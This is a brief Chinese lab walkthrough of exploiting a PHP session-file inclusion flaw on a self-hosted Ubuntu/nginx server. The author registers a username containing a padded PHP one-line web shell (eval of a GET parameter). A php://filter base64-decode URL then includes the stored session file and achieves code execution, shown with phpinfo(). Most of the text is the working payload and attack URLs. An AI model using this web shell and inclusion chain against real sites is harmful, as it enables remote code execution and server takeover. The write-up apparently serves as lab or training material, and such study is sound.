这次使用的环境是ubuntu+nginx+php+mysql
首先四个文件源码在以下链接中:
我们注册一个用户名111密码111,然后登录查看cookie和linux的session,因为我们的de服务器
是手动搭建的,所以容易知道session的位置。


我们查看这个session:
cd /var/lib/php/sessions


发现我们的用户名以base64编码的格式放在了session中,因此我们只要把含有木马的用户名注册了,这个木马就会以base64编码的格式放在session中,并且路径我们也是知道的。

我们把一句话木马注册,可以看到木马已经被放进数据库里面了,session中也存在

15
192.168.87.134/session_upload/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php/sessions/sess_hej7e9k4vjusbpumknkvsks5f1
但是上面的payload不能执行,因为session中还包含着15位的前缀,需要让其乱码
需要重新注册一个base64编码后的名字长度大于100的
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
重复上述步骤
注册这个用户名:
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

http://192.168.87.134/session_upload/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php/sessions/sess_bhbl2nhonauub8vko76g2ublkt&atebyhc=phpinfo();

成功!